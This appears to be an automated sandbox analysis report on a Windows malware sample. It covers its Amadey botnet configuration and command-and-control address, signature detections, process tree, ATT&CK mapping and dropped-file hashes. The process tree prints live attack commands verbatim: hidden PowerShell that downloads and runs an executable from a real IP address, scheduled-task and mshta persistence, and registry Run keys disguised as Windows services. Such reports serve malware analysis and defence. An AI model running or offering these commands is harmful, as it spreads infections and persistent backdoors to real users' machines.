Overview

overview

10

Static

static

5

2025-03-26...er.exe

windows7-x64

10

2025-03-26...er.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/03/2025, 19:14

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2025-03-26_7ed4e1bef4390c523b41b8932ae245d9_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe

  • Size

    938KB

  • MD5

    7ed4e1bef4390c523b41b8932ae245d9

  • SHA1

    6a34c370e538ca02558b2b3f953351363faf4b13

  • SHA256

    bd2990cee56bbb62bb263ccf3b5d0cd7760ec89cb31cc0f1fbe524af346fb7ca

  • SHA512

    68cc639fc830fb12966cdb7f144df0a34cb4331890693d3790d80270d412ca3ffcb0d01693002df2a67832dd1ffda7bc8df3ee48b22f78b77441756a003ecb5a

  • SSDEEP

    24576:iqDEvCTbMWu7rQYlBQcBiT6rprG8a06u:iTvC/MTQYxsWR7a06

Score
10/10
amadeygcleanernetsupport092155defense_evasiondiscoveryexecutionloaderpersistencerattrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

    ratnetsupport
  • Netsupport family
    netsupport
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 9 IoCs
    defense_evasion
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 10 IoCs
  • Checks BIOS information in registry 2 TTPs 18 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 17 IoCs
  • Identifies Wine through registry keys 2 TTPs 9 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 5 IoCs
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 34 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Modifies registry key 1 TTPs 8 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 39 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-03-26_7ed4e1bef4390c523b41b8932ae245d9_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-03-26_7ed4e1bef4390c523b41b8932ae245d9_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2764
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn BIoiJma0AlC /tr "mshta C:\Users\Admin\AppData\Local\Temp\backDosO4.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2256
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn BIoiJma0AlC /tr "mshta C:\Users\Admin\AppData\Local\Temp\backDosO4.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2456
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\backDosO4.hta
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2472
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'8RR0QL4KC3ETJKEP6HEH4WRWSVCE0TPD.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2112
        • C:\Users\Admin\AppData\Local\Temp8RR0QL4KC3ETJKEP6HEH4WRWSVCE0TPD.EXE
          "C:\Users\Admin\AppData\Local\Temp8RR0QL4KC3ETJKEP6HEH4WRWSVCE0TPD.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2260
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1684
            • C:\Users\Admin\AppData\Local\Temp\10341760101\dBSGwVB.exe
              "C:\Users\Admin\AppData\Local\Temp\10341760101\dBSGwVB.exe"
              6⤵
              • Checks computer location settings
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1220
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" "
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:1948
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"
                  8⤵
                  • Adds Run key to start application
                  • System Location Discovery: System Language Discovery
                  PID:2468
                • C:\Users\Public\Netstat\bild.exe
                  C:\Users\Public\Netstat\bild.exe
                  8⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  PID:2516
            • C:\Users\Admin\AppData\Local\Temp\10342330101\kDveTWY.exe
              "C:\Users\Admin\AppData\Local\Temp\10342330101\kDveTWY.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:4044
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:924
            • C:\Users\Admin\AppData\Local\Temp\10342650101\629b0eece0.exe
              "C:\Users\Admin\AppData\Local\Temp\10342650101\629b0eece0.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of WriteProcessMemory
              PID:1804
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c schtasks /create /tn bimfBmakuoR /tr "mshta C:\Users\Admin\AppData\Local\Temp\uwYmSUJJW.hta" /sc minute /mo 25 /ru "Admin" /f
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:3868
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /tn bimfBmakuoR /tr "mshta C:\Users\Admin\AppData\Local\Temp\uwYmSUJJW.hta" /sc minute /mo 25 /ru "Admin" /f
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:3264
              • C:\Windows\SysWOW64\mshta.exe
                mshta C:\Users\Admin\AppData\Local\Temp\uwYmSUJJW.hta
                7⤵
                • Checks computer location settings
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:1544
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'MCDUNDX540OHF1RUJBX46Z4QRSSPZINT.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                  8⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Downloads MZ/PE file
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:4936
                  • C:\Users\Admin\AppData\Local\TempMCDUNDX540OHF1RUJBX46Z4QRSSPZINT.EXE
                    "C:\Users\Admin\AppData\Local\TempMCDUNDX540OHF1RUJBX46Z4QRSSPZINT.EXE"
                    9⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2300
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10342660121\am_no.cmd" "
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1648
              • C:\Windows\SysWOW64\timeout.exe
                timeout /t 2
                7⤵
                • System Location Discovery: System Language Discovery
                • Delays execution with timeout.exe
                PID:3700
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:4428
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4928
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:3576
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1672
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:2116
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2900
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /tn "7wVgqmaDvFK" /tr "mshta \"C:\Temp\wby7hK3tM.hta\"" /sc minute /mo 25 /ru "Admin" /f
                7⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:2928
              • C:\Windows\SysWOW64\mshta.exe
                mshta "C:\Temp\wby7hK3tM.hta"
                7⤵
                • Checks computer location settings
                • System Location Discovery: System Language Discovery
                PID:4512
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                  8⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Downloads MZ/PE file
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:32
                  • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                    "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                    9⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3448
            • C:\Users\Admin\AppData\Local\Temp\10342870101\778421d40e.exe
              "C:\Users\Admin\AppData\Local\Temp\10342870101\778421d40e.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:4928
              • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                "C:\Users\Admin\AppData\Local\Temp\10342870101\778421d40e.exe"
                7⤵
                • Downloads MZ/PE file
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:3576
            • C:\Users\Admin\AppData\Local\Temp\10342880101\ruKazpr.exe
              "C:\Users\Admin\AppData\Local\Temp\10342880101\ruKazpr.exe"
              6⤵
              • Executes dropped EXE
              PID:2000
              • C:\Windows\system32\reg.exe
                reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /s
                7⤵
                • Modifies registry key
                PID:2808
              • C:\Windows\system32\reg.exe
                reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Microsoft Windows Service 9972" /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\10342880101\ruKazpr.exe\" /f
                7⤵
                • Adds Run key to start application
                • Modifies registry key
                PID:1120
              • C:\Windows\system32\reg.exe
                reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run /v "Microsoft Windows Service 9972" /t REG_BINARY /d 020000000000000000000000 /f
                7⤵
                • Modifies registry key
                PID:4608
              • C:\Windows\system32\reg.exe
                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunNotification /v "StartupTNotiMicrosoft Windows Service 9972" /t REG_DWORD /d 1 /f
                7⤵
                • Modifies registry key
                PID:1064
            • C:\Users\Admin\AppData\Local\Temp\10342900101\7fbdb1d5e7.exe
              "C:\Users\Admin\AppData\Local\Temp\10342900101\7fbdb1d5e7.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:224
              • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                "C:\Users\Admin\AppData\Local\Temp\10342900101\7fbdb1d5e7.exe"
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:3700
            • C:\Users\Admin\AppData\Local\Temp\10342910101\ruKazpr.exe
              "C:\Users\Admin\AppData\Local\Temp\10342910101\ruKazpr.exe"
              6⤵
              • Executes dropped EXE
              PID:4148
              • C:\Windows\system32\reg.exe
                reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /s
                7⤵
                • Modifies registry key
                PID:3028
              • C:\Windows\system32\reg.exe
                reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Microsoft Windows Service 5947" /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\10342910101\ruKazpr.exe\" /f
                7⤵
                • Adds Run key to start application
                • Modifies registry key
                PID:4360
              • C:\Windows\system32\reg.exe
                reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run /v "Microsoft Windows Service 5947" /t REG_BINARY /d 020000000000000000000000 /f
                7⤵
                • Modifies registry key
                PID:2748
              • C:\Windows\system32\reg.exe
                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunNotification /v "StartupTNotiMicrosoft Windows Service 5947" /t REG_DWORD /d 1 /f
                7⤵
                • Modifies registry key
                PID:4316
  • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
    C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Executes dropped EXE
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    PID:4508
  • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
    C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Executes dropped EXE
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    PID:2576
  • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
    C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Executes dropped EXE
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    PID:3264

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Persistence

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

Modify Registry

2
T1112

Virtualization/Sandbox Evasion

2
T1497

Credential Access

Discovery

Query Registry

4
T1012

System Information Discovery

3
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Virtualization/Sandbox Evasion

2
T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Temp\wby7hK3tM.hta
    Filesize

    779B

    MD5

    39c8cd50176057af3728802964f92d49

    SHA1

    68fc10a10997d7ad00142fc0de393fe3500c8017

    SHA256

    f685edf8437c0b505f5e366d8b1cb79e7770361cc4906240e7f8c8ad32c94e84

    SHA512

    cf563b2b5a3553acf3a91298936b904abf87620c2fc582bcdb45dec5d4b877bef5ae81feae4b741e1aee1a916e543b5f6914d9c494d2aa33bc6f15c6fc904cc6

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    25604a2821749d30ca35877a7669dff9

    SHA1

    49c624275363c7b6768452db6868f8100aa967be

    SHA256

    7f036b1837d205690b992027eb8b81939ba0228fc296d3f30039eeba00bd4476

    SHA512

    206d70af0b332208ace2565699f5b5da82b6a3806ffa51dd05f16ab568a887d63449da79bbaeb46183038837446a49515d62cb6615e5c5b27563cd5f774b93f5

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\JEOWCHML\service[1].htm
    Filesize

    1B

    MD5

    cfcd208495d565ef66e7dff9f98764da

    SHA1

    b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

    SHA256

    5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

    SHA512

    31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    16KB

    MD5

    b933c4326187fd023242e1ea421cf353

    SHA1

    c82eac7a3c309002f08afbf01e08104af91f06f5

    SHA256

    4c9f3d1653f3295de90fe1916d97795d80c1f32ffd50aad5179a623d32d4aa3a

    SHA512

    d0f255fbd762d50cf7ff172649cd2df4e85391c6288bd08af668e33f8aeb1610c89e5c1cf11c2846679a3ad316bd2ec4335a526941700388bffd5f1d8f4874ae

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    16KB

    MD5

    a7cdb323ea1dd7d57263b7e2b90f1609

    SHA1

    76f9317c3ce75a5e30ddd95539fc600996f6afff

    SHA256

    a495e5d1e518a7ad03a78c373b360c5f14e3b52159c0d75f979b9ad0f8a2268e

    SHA512

    4c179a7c5fae653641c38ec73f2208d1b346377933175be3002a89757fed066df31a17ea99e002d0520b6ecbebbeba64a98c7ce1975af0e67437ac844eff3c9e

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    17KB

    MD5

    f0d218e5889cbbafc3987b0f39d6aad5

    SHA1

    f7868e4bc29c6363415618c20e95a71ef3851f3d

    SHA256

    9d563dca02e709a0ea88d5a3bb3236c66ba233307fbf607ea5e3d4464449b134

    SHA512

    58194b9feaf839385524b2758f7b1a2c40a626350ade5bdd76e4d1d3422b011a46751be47d03e0b6b4fe50b9a1b8cefb421112aa67ea07feba262db2e03bb0cd

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    17KB

    MD5

    5e38cfa6e68c8c8d3181eb1c552f605b

    SHA1

    ada637a39d4644fcb0c2c9dd34b54651f81e62fe

    SHA256

    71954979ace9b9050fa93435ef20b0b5f6579a281510a7fc751ba46bd6f8afda

    SHA512

    4314045ab4d2a2d0c92bace5a49bdd4260590f6e1247c610bc47fb6273a23167c66a2a7f5ad6ca50f7e1b02d8d108fed27de34e9af8cc439ec0f24f0c4be5227

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    17KB

    MD5

    ad421d884547700f2f1a07969a8d53ce

    SHA1

    f2dbcf9d4dc1e86301806ca4fadfe071300563ec

    SHA256

    f83aef975d6937329899645c6a136dfce52815386b4f7efac186ec5108d6efe3

    SHA512

    a1f1e933498fdebf8923c19cc81b1a7b55ece5d86bd5328bcfb2d69a30279ed913333a0316b2264f12e488c02c88330dd653494046ffb067aca7d9e7fc7aa901

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp8RR0QL4KC3ETJKEP6HEH4WRWSVCE0TPD.EXE
    Filesize

    1.8MB

    MD5

    c3f83f2cb10b8e3be2613d9823b9b533

    SHA1

    96441997a25a1b70f792c99a2528b79a8162d1a9

    SHA256

    fe6553869cc3c7e56b673a30b9e977acee40ba8efa2f74b2b5a9b181fc49ff20

    SHA512

    5c27b4a2ca26ddc3778d580f81334867c6f06b98747ff4370ce32678b7dbf0342498e3275b7d47652f09452dac703e465c5e6684f2be1d9488ec0263cf372427

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\10341760101\dBSGwVB.exe
    Filesize

    13.1MB

    MD5

    79a51197969dadee0226635f5977f6ab

    SHA1

    1785a081523553690d110c4153e3b3c990c08d45

    SHA256

    868c78f267862af83cf94c9d21615d9c01afe3dbd0da02dc96bbc3a956ccc48d

    SHA512

    202ea6d421bb7163ba741267543dff4f97012f2489f694f06555b1bbffec3a59fe71d5675755f5d746727eaf93b6d8204eab4e11fd692cf82570b1edf8a80a55

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\10342330101\kDveTWY.exe
    Filesize

    1.4MB

    MD5

    fc6cd346462b85853040586c7af71316

    SHA1

    fd2e85e7252fb1f4bfba00c823abed3ec3e501e1

    SHA256

    5a967613fad14a8eb61757b641eb3f84236360e06834800e90e2e28da09da2de

    SHA512

    382d8cb536172bf3d99d28e92d1056d4bcfe96b08109bdffe9e2745b434cd2d301f320ce4ff836bf6bf90c08ba8859fbd36741b3a572d52bfb1f782e86f8d746

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\10342650101\629b0eece0.exe
    Filesize

    938KB

    MD5

    5fa46ec918b1ae13b287b769804fd1d9

    SHA1

    bb5d4dbdb320d9f7f13d32673b94de2c59e23a52

    SHA256

    0593c54c0fd792515a9669251e81a8a001d4bf521c3a378f3a82cfffd4c74b67

    SHA512

    788cb3bafe3d8bb08ff4cd76ab6448c10486ba1fe4d90c2bb406828bea90ecb3a19ab4b43a633ae83e91d79260b6839904f504da46462d1ec25c041bb0a5a6b6

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\10342660121\am_no.cmd
    Filesize

    1KB

    MD5

    cedac8d9ac1fbd8d4cfc76ebe20d37f9

    SHA1

    b0db8b540841091f32a91fd8b7abcd81d9632802

    SHA256

    5e951726842c371240a6af79d8da7170180f256df94eac5966c07f04ef4d120b

    SHA512

    ce383ffef8c3c04983e752b7f201b5df2289af057e819cdf7310a55a295790935a70e6a0784a6fd1d6898564a3babab1ffcfbaa0cc0d36e5e042adeb3c293fa5

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\10342870101\778421d40e.exe
    Filesize

    4.5MB

    MD5

    cb96cb14a4ff8272b601751c1f980c68

    SHA1

    6f8e65d7445b42ae73075b0126fe5bd9ef655ab7

    SHA256

    6064ba4464959b5384e15136838b0e70e875a02244395a52ee29e03f5b879ed3

    SHA512

    fbe5c0d5eb405ec3d352ff9b8f4f23eaa1415be2c4c0d19da73902c2fa9ac6f8eefc2c246fc9f6d45f154324f5fcd255df9e46d0040da6ce3dc0dbd473fbd274

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\10342880101\ruKazpr.exe
    Filesize

    7.5MB

    MD5

    b5a86183ffa5fea27cbd6422ff2299ab

    SHA1

    13816a67b1a1466c21cb498894bb5e68e2954d62

    SHA256

    7809347e9555533f210b9d606a4af4b414ab313e3652f87bb2101a5a66c2ee51

    SHA512

    084bc4306f259a58e98500c816e13387087738e2bc8776300ece6d3f392156191dcac03f2969fb3c2919e87c59d1ae5dcd1ed39db2a86bd65a5f10fa3077360b

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\10342900101\7fbdb1d5e7.exe
    Filesize

    4.3MB

    MD5

    d80e745421d3095595e56546eeb5e5b1

    SHA1

    669000e68b1ae7ce5ce2f8bc5c6a5b40cec27325

    SHA256

    fed577cf707c42a0ccbf160d1676f17971f8a637a67e8fcf9438047cbe279d8c

    SHA512

    68ee64584e284b0643fc9cde6088991dca1e2b53c645d538d45d14ea9d639ef9f72cf551191ac07f33537dfcc53502fe5668981cfc065b6456bd8ddbcb36d393

    Download Submit

